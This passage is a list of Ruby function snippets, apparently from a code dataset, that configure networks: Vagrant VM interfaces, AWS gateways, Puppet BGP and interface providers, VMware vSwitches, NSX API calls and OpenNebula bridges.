\"--nicpromisc#{i}\", \"allow-all\"] \n end\n v.gui = true\n end\n \n if ssh_nat_port != -1\n cfg.vm.network :forwarded_port, guest: 22, host: \"#{ssh_nat_port}\", id: \"ssh\"\n end\n \n if http_nat_port != -1\n cfg.vm.network :forwarded_port, guest: 80, host: \"#{http_nat_port}\", id: \"http\" \n end\n \n if novnc_nat_port != -1\n cfg.vm.network :forwarded_port, guest: 6080, host: \"#{novnc_nat_port}\", id: \"novnc\" \n end\n \n cfg.vm.synced_folder \"../common\", \"/root/common\", disabled: false\n end\n end\nend", "def internet_gateway_created_and_attached?(\n ec2_resource,\n vpc_id,\n tag_key,\n tag_value\n)\n igw = ec2_resource.create_internet_gateway\n puts \"The internet gateway's ID is '#{igw.id}'.\"\n igw.attach_to_vpc(vpc_id: vpc_id)\n igw.create_tags(\n tags: [\n {\n key: tag_key,\n value: tag_value\n }\n ]\n )\n return true\nrescue StandardError => e\n puts \"Error creating or attaching internet gateway: #{e.message}\"\n puts \"If the internet gateway was created but not attached, you should \" \\\n \"clean up by deleting the internet gateway.\"\n return false\nend", "def create\n @ip_type = IpType.new(params[:ip_type])\n\n respond_to do |format|\n if @ip_type.save\n format.html { redirect_to @ip_type, :notice => 'Ip type was successfully created.' }\n format.json { render :json => @ip_type, :status => :created, :location => @ip_type }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @ip_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def restart_interface(interface)\n # Force deletion, so directories actually get deleted.\n Puppet.info( \"Restarting interface %s\" % interface)\n system(\"ifdown %s\" % interface)\n sleep 15\n system(\"ifup %s\" % interface) || raise(\"Restarting interface failed!\")\n\n ip = get_facter_value(\"ipaddress_%s\" % interface)\n Puppet.info( \"IP address of %s is %s\" % [interface, ip])\n if ip.nil? || ip.empty?\n raise \"Restarted interface, %s, but it did not get a valid IP address.\" % interface\n end\n end", "def create_os_interface(server_id, attributes)\n elektron_compute\n .post(\"servers/#{server_id}/os-interface\") do\n { \"interfaceAttachment\" => attributes }\n end\n .body[\n \"interfaceAttachment\"\n ]\n end", "def configure_private_network_ip(config, ip, vm_name)\n if ip\n config.vm.network :private_network, :ip => ip, :netmask => \"255.255.255.0\"\n else\n puts \" NO HOSTONLY IP defined for VM #{vm_name}.\"\n end\n end", "def create\n #Create switch and ports\n @switch = Switch.create(switch_params)\n redirect_to switches_path\n end", "def create\n begin\n # create spec\n spec = RbVmomi::VIM.FcoeConfigFcoeSpecification(:underlyingPnic => resource[:physical_nic])\n\n # discover fcoe HBA\n host.configManager.storageSystem.DiscoverFcoeHbas(:fcoeSpec => spec)\n Puppet.notice(\"Successfully added the FCoE software adapter to the host.\")\n rescue Exception => e\n fail \"Unable to add FCoE software adapter because an unknown exception occurred. Make sure the specified physical network interface card (NIC), which needs to be associated with the FCoE, is valid, and then try again the operation. If the issue persists, verify the troubleshooting logs or contact your service provider: -\\n #{e.message}\"\n end\n end", "def create\n Feature.bgp_enable if platform == :nexus\n router_bgp\n wait_for_process_initialized\n end", "def create(destination, nexthop, opts = {})\n cmd = \"ip route #{destination} #{nexthop}\"\n cmd << \" #{opts[:router_ip]}\" if opts[:router_ip]\n cmd << \" #{opts[:distance]}\" if opts[:distance]\n cmd << \" tag #{opts[:tag]}\" if opts[:tag]\n cmd << \" name #{opts[:name]}\" if opts[:name]\n configure cmd\n end", "def configure(huaweicloud, server, network_id)\n cloud_error(\"No IP provided for vip network `#{@name}'\") if @ip.nil?\n\n huaweicloud.with_huaweicloud do\n FloatingIp.reassociate(huaweicloud, @ip, server, network_id)\n end\n end", "def create\n @ip_address = IpAddress.new(ip_address_params)\n\n respond_to do |format|\n if @ip_address.save\n format.html { redirect_to ip_addresses_path, notice: 'Ip address was successfully created.' }\n format.json { render action: 'show', status: :created, location: @ip_address }\n else\n format.html { render action: 'new' }\n format.json { render json: @ip_address.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_or_replace_tier1_interface_with_http_info(tier_1_id, locale_services_id, interface_id, tier1_interface, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.create_or_replace_tier1_interface ...'\n end\n # verify the required parameter 'tier_1_id' is set\n if @api_client.config.client_side_validation && tier_1_id.nil?\n fail ArgumentError, \"Missing the required parameter 'tier_1_id' when calling PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.create_or_replace_tier1_interface\"\n end\n # verify the required parameter 'locale_services_id' is set\n if @api_client.config.client_side_validation && locale_services_id.nil?\n fail ArgumentError, \"Missing the required parameter 'locale_services_id' when calling PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.create_or_replace_tier1_interface\"\n end\n # verify the required parameter 'interface_id' is set\n if @api_client.config.client_side_validation && interface_id.nil?\n fail ArgumentError, \"Missing the required parameter 'interface_id' when calling PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.create_or_replace_tier1_interface\"\n end\n # verify the required parameter 'tier1_interface' is set\n if @api_client.config.client_side_validation && tier1_interface.nil?\n fail ArgumentError, \"Missing the required parameter 'tier1_interface' when calling PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.create_or_replace_tier1_interface\"\n end\n # resource path\n local_var_path = '/infra/tier-1s/{tier-1-id}/locale-services/{locale-services-id}/interfaces/{interface-id}'.sub('{' + 'tier-1-id' + '}', tier_1_id.to_s).sub('{' + 'locale-services-id' + '}', locale_services_id.to_s).sub('{' + 'interface-id' + '}', interface_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(tier1_interface)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Tier1Interface')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi#create_or_replace_tier1_interface\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create\n @ip_table_override = IpTableOverride.new(params[:ip_table_override])\n\n respond_to do |format|\n if @ip_table_override.save\n format.html { redirect_to @ip_table_override, notice: 'Ip table override was successfully created.' }\n format.json { render json: @ip_table_override, status: :created, location: @ip_table_override }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ip_table_override.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \n @concrete_interface = SWUI::ConcreteInterface.create(params[:concrete_interface])\n \n respond_to do |format|\n if @concrete_interface.save\n flash[:notice] = 'Concrete Interface was successfully created.'\n format.html { redirect_to(concrete_interfaces_url) }\n format.xml { render :xml => @concrete_interface, :status => :created, :location => @concrete_interface }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @concrete_interface.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_vm(vms, vm_type, config)\n vms.each do | vm |\n hostname = vm.get_hostname\n \n # cpu & memory\n cpu = vm.get_cpu\n memory = vm.get_memory\n \n # nat port\n nat_map = vm.get_nat_map\n \n # list of interfaces\n interfaces = vm.get_interfaces\n bridged_interface = vm.get_bridged_interface\n \n # synced_folder\n synced_folders = vm.get_synced_folders\n \n # box info\n box_name = vm.box.name\n box_user = vm.box.user\n box_pass = vm.box.pass\n \n switch_type = vm.switch_type\n switch_ver = vm.switch_ver \n \n link_prefix=Link.instance.link_prefix\n \n interface_count = interfaces.length\n if bridged_interface != \"\"\n interface_count += 1\n end\n \n config.vm.define \"#{hostname}\" do |cfg|\n cfg.vm.box = box_name\n cfg.vm.boot_timeout = 90\n \n cfg.ssh.username = box_user\n cfg.ssh.password = box_pass\n \n for i in interfaces\n cfg.vm.network \"private_network\", auto_config: false, virtualbox__intnet: \"#{link_prefix}_switch_interface_#{i}\" \n end\n \n # bridged interface to have external network connectivity\n # VBoxManage list bridgedifs 로 확인 가능\n if bridged_interface != \"\"\n cfg.vm.network \"public_network\", auto_config: false, bridge: \"#{bridged_interface}\"\n end\n \n #if switch_type != \"\"\n # cfg.vm.provision :shell, :path => \"../common/install_#{switch_type}_#{switch_ver}.sh\"\n #end\n if File.exist?(\"init_node_#{hostname}.sh\")\n cfg.vm.provision :shell, :path => \"init_node_#{hostname}.sh\"\n end\n \n cfg.vm.provider \"virtualbox\" do |v|\n v.cpus = cpu\n v.memory = memory\n v.customize [\"modifyvm\", :id, \"--hpet\", \"on\"]\n \n # 스위칭에 이용하는 인터페이스에 대해서 promiscuous mode를 allow vms로 설정해줌\n for i in 2..(interface_count + 1)\n v.customize [\"modifyvm\", :id, \"--nicpromisc#{i}\", \"allow-all\"] \n end\n #v.gui = true\n end\n \n # nat_map = {1 => {\"ssh\" => 2222 }, 2 => {\"web\" => 2280}}\n # TODO: avoid port collision\n if (defined? nat_map)\n nat_map.each do |port_name, port_map| \n port_map.each do |guest_port, host_port|\n cfg.vm.network :forwarded_port, guest: guest_port, host: \"#{host_port}\", id: \"#{port_name}\" \n end\n end\n end\n \n if (defined? synced_folders)\n synced_folders.each do |host_folder, gst_folder|\n cfg.vm.synced_folder \"#{host_folder}\", \"#{gst_folder}\", disabled: false\n end\n end \n \n end\n end\nend", "def create\n run_validation(:create)\n @model_id = interface.create(map_to_interface) unless @model_status == :error\n\n @model_status = :okay if @model_status == :unknown\n self\n rescue Pod4::WeakError\n add_alert(:error, $!)\n self\n end", "def create_or_replace_tier1_interface_0_with_http_info(tier_1_id, locale_services_id, interface_id, tier1_interface, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.create_or_replace_tier1_interface_0 ...'\n end\n # verify the required parameter 'tier_1_id' is set\n if @api_client.config.client_side_validation && tier_1_id.nil?\n fail ArgumentError, \"Missing the required parameter 'tier_1_id' when calling PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.create_or_replace_tier1_interface_0\"\n end\n # verify the required parameter 'locale_services_id' is set\n if @api_client.config.client_side_validation && locale_services_id.nil?\n fail ArgumentError, \"Missing the required parameter 'locale_services_id' when calling PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.create_or_replace_tier1_interface_0\"\n end\n # verify the required parameter 'interface_id' is set\n if @api_client.config.client_side_validation && interface_id.nil?\n fail ArgumentError, \"Missing the required parameter 'interface_id' when calling PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.create_or_replace_tier1_interface_0\"\n end\n # verify the required parameter 'tier1_interface' is set\n if @api_client.config.client_side_validation && tier1_interface.nil?\n fail ArgumentError, \"Missing the required parameter 'tier1_interface' when calling PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi.create_or_replace_tier1_interface_0\"\n end\n # resource path\n local_var_path = '/global-infra/tier-1s/{tier-1-id}/locale-services/{locale-services-id}/interfaces/{interface-id}'.sub('{' + 'tier-1-id' + '}', tier_1_id.to_s).sub('{' + 'locale-services-id' + '}', locale_services_id.to_s).sub('{' + 'interface-id' + '}', interface_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(tier1_interface)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Tier1Interface')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingConnectivityTier1GatewaysInterfacesInterfacesApi#create_or_replace_tier1_interface_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def apply_network_settings container, networking\n OpenNebula.log_debug \"Configuring network\"\n nic = {:ifname => 'eth0', :host_mac => 'FE:FF:FF:FF:FF:FF'}\n\n container.add_veth nic\n OpenVZ::Util.execute \"brctl addif #{networking[:bridge]} veth#{container.ctid}.0\" unless networking[:bridge].nil?\n\n container.command \"ifconfig eth0 #{networking[:ip]}\"\n container.command \"ifconfig eth0 up\"\n end", "def SetMeshInterface()\n \n @nodes.each do |node|\n Node(node.id).exec(\"/sbin/ifconfig #{@meshifn} #{GetIpFromId(node.id)}\")\n Node(node.id).exec(\"/sbin/ifconfig #{@meshifn} mtu 1500\")\n end\n end", "def default(name)\n configure [\"interface #{name}\", 'default switchport']\n end", "def create_vss(name, pnics=nil, num_ports=128, mtu=1500, pnics_available=nil)\n # Get NetworkSystem\n nws = self['configManager.networkSystem']\n vswitchspec = nil\n hostbridge = nil\n nics = []\n\n if pnics\n pnics = pnics.split(\",\")\n pnics.each do |pnic|\n #Add nics if not in use\n nics << pnic if pnics_available.include?(pnic)\n end\n\n if !nics.empty?\n hostbridge = RbVmomi::VIM::HostVirtualSwitchBondBridge(:nicDevice => nics)\n end\n end\n\n #Create spec\n vswitchspec = RbVmomi::VIM::HostVirtualSwitchSpec(:bridge => hostbridge, :mtu => mtu, :numPorts => num_ports)\n\n #add vSwitch to the host\n begin\n nws.AddVirtualSwitch(:vswitchName => name, :spec => vswitchspec)\n rescue Exception => e\n raise \"The standard vSwitch #{name} could not be created. AddVirtualSwitch failed Reason: #{e.message}.\"\n end\n\n @net_rollback << {:action => :delete_sw, :name => name}\n\n return name\n end", "def init(nbr_ipname, nbr_type, ip_ver)\n begin\n ret = esc 'show running-configuration bgp | display-xml'\n bgp = extract(ret, :stdout, 'rpc-reply', :data, :'bgp-router')\n\n raise 'bgp configuration not present.' if !bgp\n\n # Fail if the asn differs at first place\n @property_hash[:asn] = extract(bgp, :vrf, :'local-as-number')\n if @property_hash[:asn] != resource[:asn]\n raise \"asn #{@property_hash[:asn]} differs from #{resource[:asn]}\"\n end\n\n # Fail if there is no neighbor configuration\n nbr = extract_peer(bgp, nbr_ipname, nbr_type)\n raise \"neighbor #{nbr_ipname} not configured.\" if !nbr\n\n @nbr_af = extract(nbr, (ip_ver.to_s + '-unicast').to_sym)\n if !@nbr_af\n # There is no af configuration for the given ip type\n return\n end\n\n @property_hash[:activate] = extract(@nbr_af, :'activate')\n @property_hash[:allowas_in] = extract(@nbr_af, :'allowas-in')\n @property_hash[:add_path] = extract_add_path(@nbr_af)\n\n val = extract(@nbr_af, :'next-hop-self')\n val = :false if !val\n @property_hash[:next_hop_self] = val\n\n val = extract(@nbr_af, :'sender-side-loop-detection')\n val = :true if !val\n @property_hash[:sender_side_loop_detection] = val\n\n val = @nbr_af.has_key? :'soft-reconfiguration-inbound'\n val = :false if !val\n @property_hash[:soft_reconfiguration] = val\n\n val = extract(@nbr_af, :'distribute-list-name-in')\n val = '' if !val\n @property_hash[:distribute_list] = [val]\n\n val = extract(@nbr_af, :'distribute-list-name-out')\n val = '' if !val\n @property_hash[:distribute_list].push(val)\n\n val = extract(@nbr_af, :'route-map-in')\n val = '' if !val\n @property_hash[:route_map] = [val]\n\n val = extract(@nbr_af, :'route-map-out')\n val = '' if !val\n @property_hash[:route_map].push(val)\n\n rescue Exception => e\n err \"Exception in #{__method__}\"\n err e.message\n err e.backtrace[0]\n raise\n end\n end", "def create_pg(one_vnet, esx_host)\n begin\n # Get parameters needed to create the network\n pnics = one_vnet['TEMPLATE/PHYDEV']\n pg_name = one_vnet['TEMPLATE/BRIDGE']\n sw_name = one_vnet['TEMPLATE/VCENTER_SWITCH_NAME']\n mtu = one_vnet['TEMPLATE/MTU']\n vlan_id = one_vnet['VLAN_ID'] || 0\n\n if one_vnet['TEMPLATE/VCENTER_SWITCH_NPORTS']\n nports = one_vnet['TEMPLATE/VCENTER_SWITCH_NPORTS']\n else\n nports = 128\n end\n esx_host.lock # Exclusive lock for ESX host operation\n\n pnics_available = nil\n pnics_available = esx_host.get_available_pnics if pnics\n\n # Get port group if it exists\n pg = esx_host.pg_exists(pg_name)\n\n # Disallow changes of switch name for existing pg\n if pg && esx_host.pg_changes_sw?(pg, sw_name)\n err_msg = 'The port group already exists in this host '\\\n 'for a different vCenter standard switch and '\\\n 'this kind of hange is not supported.'\n raise CreateNetworkError, err_msg\n end\n\n # Pg does not exist\n if !pg\n # Get standard switch if it exists\n vs = esx_host.vss_exists(sw_name)\n\n if !vs\n sw_name = esx_host.create_vss(sw_name,\n pnics,\n nports,\n mtu,\n pnics_available)\n end\n\n new_pg = esx_host.create_pg(pg_name, sw_name, vlan_id)\n else\n err_msg = \"Port group #{pg_name} already exists\"\n raise CreateNetworkError, err_msg\n end\n new_pg\n ensure\n esx_host.unlock if esx_host # Remove lock\n end\nend", "def update_rib(conf)\n if conf[:status] == :alive\n IPRoute.add_nexthop conf[:gateway], conf[:interface], conf[:provider], conf[:weight]\n IPRoute.add_src_route conf[:network], conf[:gateway], conf[:interface], conf[:address], conf[:provider]\n IPRoute.add_rule conf[:network], conf[:interface], conf[:provider]\n else\n IPRoute.del_nexthop conf[:gateway], conf[:interface], conf[:provider]\n IPRoute.del_route conf[:network], conf[:gateway], conf[:interface], conf[:provider]\n IPRoute.del_rule conf[:network], conf[:interface], conf[:provider]\n end\n end", "def install\n if resource[:ipsource] == \"static\"\n ip = resource[:ip]\n netmask = resource[:netmask]\n gateway = resource[:gateway]\n end\n #if resource[:snmp]\n # snmp = resource[:snmp]\n #end\n ipsrc = resource[:ipsource]\n if resource[:vlanid]\n vlanid = resource[:vlanid]\n end\n enable_channel\n end", "def interfaces\n iflist = `ifconfig | egrep \"^[a-z0-9]+:\" | awk '{print $1}' | sed 's/://'`.split\n interfaces = Hash.new\n interfaces['carp'] = []; interfaces['logical'] = []; interfaces['pfsync'] = []; interfaces['tunnel'] = []\n interfaces['vlan'] = []; interfaces['trunk'] = []; interfaces['physical'] = []\n\n iflist.each do |interface|\n ifconfig = `ifconfig #{interface}`\n iface = Hash.new\n iface['ip'] = Array.new\n iface['name'] = interface\n\n ifconfig.each do |line|\n case\n when line =~ /flags=\\d+\\<(.*)\\>\\s+mtu\\s+([0-9]+)/\n iface['mtu'] = $2\n iface['flags'] = $1.split(\",\")\n iface[\"up?\"] = iface['flags'].to_a.include?(\"UP\") ? \"up\" : \"down\"\n when line =~ /^\\s*media:\\s+(.*)/\n iface['media'] = $1\n when line =~ /lladdr\\s+(.*)/\n iface['lladdr'] = $1\n when line =~ /description: (.*)/\n iface['description'] = $1\n when line =~ /^\\s+inet ([0-9\\.]+) netmask ([0-9\\.a-fx]+) broadcast ([0-9\\.])/\n ip_address = $1\n broadcast = $3\n $2 =~ /(0x..)(..)(..)(..)/\n netmask = $1.hex.to_s + \".\" + $2.hex.to_s + \".\" + $3.hex.to_s + \".\" + $4.hex.to_s\n \n # Add a nice (dhcp) tag if the address has been given using dhcp\n ip_address += \" (dhcp)\" if `ps -ax | egrep \"dhclient: #{iface['name']} \" | grep -v grep | wc -l`.to_i > 0\n iface['ip'] << { \"address\" => ip_address, \"netmask\" => netmask, \"broadcast\" => broadcast }\n end\n end\n\n case iface['name']\n when /^carp/ then interfaces['carp'] << iface\n when /^(tun|gif)/ then interfaces['tunnel'] << iface\n when /^(enc|pflog|lo)[0-9]+/ then interfaces['logical'] << iface\n when /^pfsync/ then interfaces['pfsync'] << iface\n when /^vlan/ then interfaces['vlan'] << iface\n when /^trunk/ then interfaces['trunk'] << iface\n else interfaces['physical'] << iface\n end\n end\n interfaces\n end", "def create_bridge(bridge)\n return if @bridges.keys.include? bridge\n\n OpenNebula.exec_and_log(\"#{command(:brctl)} addbr #{bridge}\")\n\n @bridges[bridge] = Array.new\n\n OpenNebula.exec_and_log(\"#{command(:ip)} link set #{bridge} up\")\n end", "def init(ip_name, type)\n begin\n ret = esc 'show running-configuration bgp | display-xml'\n bgp = extract(ret, :stdout, 'rpc-reply', :data, :'bgp-router')\n\n if bgp\n @nbr = extract_peer(bgp, ip_name, type)\n\n if !@nbr\n # There is no neighbor with the given ipaddr/name\n debug \"no neighbor configuration with #{ip_name}\"\n return\n end\n\n # Fail if the asn differs at first place\n\n @property_hash[:asn] = extract(bgp, :vrf, :'local-as-number')\n if @property_hash[:asn] != resource[:asn]\n raise \"asn #{@property_hash[:asn]} differs from #{resource[:asn]}\"\n end\n\n @property_hash[:type] = resource[:type]\n @property_hash[:neighbor] = resource[:neighbor] # neighbor is Key\n @property_hash[:advertisement_interval] = extract(@nbr,\n :'advertisement-interval')\n @property_hash[:advertisement_start] = extract(@nbr,\n :'advertisement-start')\n @property_hash[:connection_retry_timer] = extract(@nbr,\n :'connection-retry-timer')\n @property_hash[:remote_as] = extract(@nbr,\n :'remote-as')\n @property_hash[:remove_private_as] = extract(@nbr,\n :'remove-private-as')\n @property_hash[:shutdown] = extract(@nbr,\n :'shutdown-status')\n @property_hash[:password] = extract(@nbr,\n :password)\n @property_hash[:send_community_standard] = extract(@nbr,\n :'send-community-standard')\n @property_hash[:send_community_extended] = extract(@nbr,\n :'send-community-extended')\n\n @property_hash[:peergroup] = extract(@nbr,\n :'associate-peer-group')\n\n val = extract(@nbr,\n :'ebgp-multihop-count')\n val = '' if !val\n @property_hash[:ebgp_multihop] = val\n\n @property_hash[:fall_over] = @nbr.has_key? :'fall-over'\n\n val = extract(@nbr,\n :'local-as', :'as-number')\n val = '' if !val\n @property_hash[:local_as] = val\n\n val = extract(@nbr,\n :'route-reflector-client')\n val = :absent if !val\n @property_hash[:route_reflector_client] = val\n\n val = extract(@nbr, :weight)\n val = '' if !val\n @property_hash[:weight] = val\n\n if @nbr.has_key? :'timers'\n @property_hash[:timers] = [\n extract(@nbr, :timers, :'config-keepalive'),\n extract(@nbr, :timers, :'config-hold-time')\n ]\n else\n @property_hash[:timers] = []\n end\n end\n rescue Exception => e\n err \"Exception in #{__method__}\"\n err e.message\n err e.backtrace[0]\n raise\n end\n end", "def prompt_network_interfaces(zone_id, provision_type_id, pool_id, options={})\n #puts \"Configure Networks:\"\n no_prompt = (options[:no_prompt] || (options[:options] && options[:options][:no_prompt]))\n network_interfaces = []\n api_params = {zoneId: zone_id, provisionTypeId: provision_type_id}.merge(options[:api_params] || {})\n if pool_id\n api_params[:poolId] = pool_id \n end\n\n zone_network_options_json = api_client.options.options_for_source('zoneNetworkOptions', api_params)\n # puts \"zoneNetworkOptions JSON\"\n # puts JSON.pretty_generate(zone_network_options_json)\n zone_network_data = zone_network_options_json['data'] || {}\n networks = zone_network_data['networks']\n network_groups = zone_network_data['networkGroups']\n if network_groups\n networks = network_groups + networks\n end\n network_subnets = zone_network_data['networkSubnets']\n if network_subnets\n networks += network_subnets\n end\n network_interface_types = (zone_network_data['networkTypes'] || []).sort { |x,y| x['displayOrder'] <=> y['displayOrder'] }\n enable_network_type_selection = (zone_network_data['enableNetworkTypeSelection'] == 'on' || zone_network_data['enableNetworkTypeSelection'] == true)\n has_networks = zone_network_data[\"hasNetworks\"] == true\n max_networks = (zone_network_data[\"maxNetworks\"].to_i > 0) ? zone_network_data[\"maxNetworks\"].to_i : nil\n\n # skip unless provision type supports networks\n if !has_networks\n return nil\n end\n\n # no networks available, shouldn't happen\n if networks.empty?\n return network_interfaces\n end\n\n network_options = []\n networks.each do |opt|\n if !opt.nil?\n network_options << {'name' => opt['name'], 'value' => opt['id']}\n end\n end\n\n network_interface_type_options = []\n network_interface_types.each do |opt|\n if !opt.nil?\n network_interface_type_options << {'name' => opt['name'], 'value' => opt['id']}\n end\n end\n\n interface_index = 0\n add_another_interface = true\n while add_another_interface do\n # if !no_prompt\n # if interface_index == 0\n # puts \"Configure Network Interface\"\n # else\n # puts \"Configure Network Interface #{interface_index+1}\"\n # end\n # end\n\n # networkInterfaces may be passed as objects from blueprints or via -O networkInterfaces='[]'\n field_context = interface_index == 0 ? \"networkInterface\" : \"networkInterface#{interface_index+1}\"\n network_interface = {}\n if options[:options] && options[:options]['networkInterfaces'] && options[:options]['networkInterfaces'][interface_index]\n network_interface = options[:options]['networkInterfaces'][interface_index]\n end\n\n default_network_id = network_interface['networkId'] || network_interface['id']\n if default_network_id.nil? && network_interface['network'].is_a?(Hash) && network_interface['network']['id']\n default_network_id = network_interface['network']['id']\n end\n # JD: this for cluster or server prompting perhaps?\n # because zoneNetworkOptions already returns foramt like \"id\": \"network-1\"\n if !default_network_id || !default_network_id.to_s.include?(\"-\")\n if network_interface['network'] && network_interface['network']['id']\n if network_interface['network']['subnet']\n default_network_id = \"subnet-#{network_interface['network']['subnet']}\"\n elsif network_interface['network']['group']\n default_network_id = \"networkGroup-#{network_interface['network']['group']}\"\n else\n default_network_id = \"network-#{network_interface['network']['id']}\"\n end\n end\n end\n\n default_network_value = (network_options.find {|n| n['value'] == default_network_id} || {})['name']\n\n # choose network\n v_prompt = Morpheus::Cli::OptionTypes.prompt([{'fieldContext' => field_context, 'fieldName' => 'networkId', 'type' => 'select', 'fieldLabel' => \"Network\", 'selectOptions' => network_options, 'required' => true, 'skipSingleOption' => false, 'description' => 'Choose a network for this interface.', 'defaultValue' => default_network_value}], options[:options], api_client, {}, no_prompt, true)\n network_interface['network'] = {}\n network_interface['network']['id'] = v_prompt[field_context]['networkId'].to_s\n selected_network = networks.find {|it| it[\"id\"].to_s == network_interface['network']['id'] }\n #network_options.reject! {|it| it['value'] == v_prompt[field_context]['networkId']}\n\n if !selected_network\n print_red_alert \"Network not found by id #{network_interface['network']['id']}!\"\n exit 1\n end\n\n # choose network interface type\n if enable_network_type_selection && !network_interface_type_options.empty?\n default_interface_type_value = (network_interface_type_options.find {|t| t['value'].to_s == network_interface['networkInterfaceTypeId'].to_s} || {})['name']\n v_prompt = Morpheus::Cli::OptionTypes.prompt([{'fieldContext' => field_context, 'fieldName' => 'networkInterfaceTypeId', 'type' => 'select', 'fieldLabel' => \"Network Interface Type\", 'selectOptions' => network_interface_type_options, 'required' => true, 'skipSingleOption' => true, 'description' => 'Choose a network interface type.', 'defaultValue' => default_interface_type_value}], options[:options])\n network_interface['networkInterfaceTypeId'] = v_prompt[field_context]['networkInterfaceTypeId'].to_i\n end\n\n # choose IP if network allows it\n # allowStaticOverride is only returned in 4.2.1+, so treat null as true for now..\n ip_available = selected_network['allowStaticOverride'] == true || selected_network['allowStaticOverride'].nil?\n ip_required = true\n if selected_network['id'].to_s.include?('networkGroup')\n #puts \"IP Address: Using network group.\" if !no_prompt\n ip_available = false\n ip_required = false\n elsif selected_network['pool']\n #puts \"IP Address: Using pool '#{selected_network['pool']['name']}'\" if !no_prompt\n ip_required = false\n elsif selected_network['dhcpServer']\n #puts \"IP Address: Using DHCP\" if !no_prompt\n ip_required = false\n end\n\n if ip_available\n v_prompt = Morpheus::Cli::OptionTypes.prompt([{'fieldContext' => field_context, 'fieldName' => 'ipAddress', 'type' => 'text', 'fieldLabel' => \"IP Address\", 'required' => ip_required, 'description' => 'Enter an IP for this network interface. x.x.x.x', 'defaultValue' => network_interface['ipAddress']}], options[:options])\n if v_prompt[field_context] && !v_prompt[field_context]['ipAddress'].to_s.empty?\n network_interface['ipAddress'] = v_prompt[field_context]['ipAddress']\n end\n end\n\n if ip_required == false && network_interface['ipAddress'] == nil && selected_network['dhcpServer'] == true\n network_interface['ipMode'] = 'dhcp'\n end\n\n network_interfaces << network_interface\n interface_index += 1\n if options[:options] && options[:options]['networkInterfaces'] && options[:options]['networkInterfaces'][interface_index]\n add_another_interface = true\n elsif (max_networks && network_interfaces.size >= max_networks) || network_options.count == 0\n add_another_interface = false\n else\n has_another_interface = options[:options] && options[:options][\"networkInterface#{interface_index+1}\"]\n add_another_interface = has_another_interface || (!no_prompt && Morpheus::Cli::OptionTypes.confirm(\"Add another network interface?\", {:default => false}))\n end\n\n end\n\n return network_interfaces\n\n end", "def create\n file = Tempfile.new(\"onevnet-#{resource[:name]}\")\n template = ERB.new <<-EOF\nNAME = \"<%= resource[:name] %>\"\nTYPE = <%= resource[:type]%>\nBRIDGE = <%= resource[:bridge] %>\n\n<% if resource[:phydev] %>\nPHYDEV = <%= resource[:phydev] %>\n<% end %>\n<% if resource[:type]== :fixed %>\n# FIXED NETWORK\n<% if resource[:leases] %>\n<% resource[:leases].each { |lease| %>\nLEASES = [IP=<%= lease%>]\n<% } %>\n<% end %>\n<% elsif resource[:type]== :ranged %>\n# RANGED NETWORK\n<% if resource[:network_size] %>NETWORK_SIZE = <%= resource[:network_size] %><% end %>\n<% if resource[:network_address] %>NETWORK_ADDRESS = <%= resource[:network_address] %><% end %>\n<% if resource[:network_start] %>IP_START = <%= resource[:network_start] %><% end %>\n<% if resource[:network_end] %>IP_END = <%= resource[:network_end] %><% end %>\n<% if resource[:macstart] %>MAC_START = <%= resource[:macstart] %><% end %>\n<% if resource[:siteprefix] %>SITE_PREFIX = <%= resource[:siteprefix] %><% end %>\n<% if resource[:globalprefix] %>GLOBAL_PREFIX = <%= resource[:globalprefix] %><% end %>\n<% end %>\n<% if resource[:vlanid] %>VLAN_ID = <%= resource[:vlanid] %><% end %>\n\n# Context information\n<% if resource[:context] %>\n<% resource[:context].each { |key,value| %>\n<%= key.upcase %> = <%= value %>\n<% } %>\n<% end %>\nEOF\n\n tempfile = template.result(binding)\n file.write(tempfile)\n file.close\n self.debug \"Adding new network using template: #{tempfile}\"\n onevnet('create', file.path)\n file.delete\n @property_hash[:ensure] = :present\n end", "def 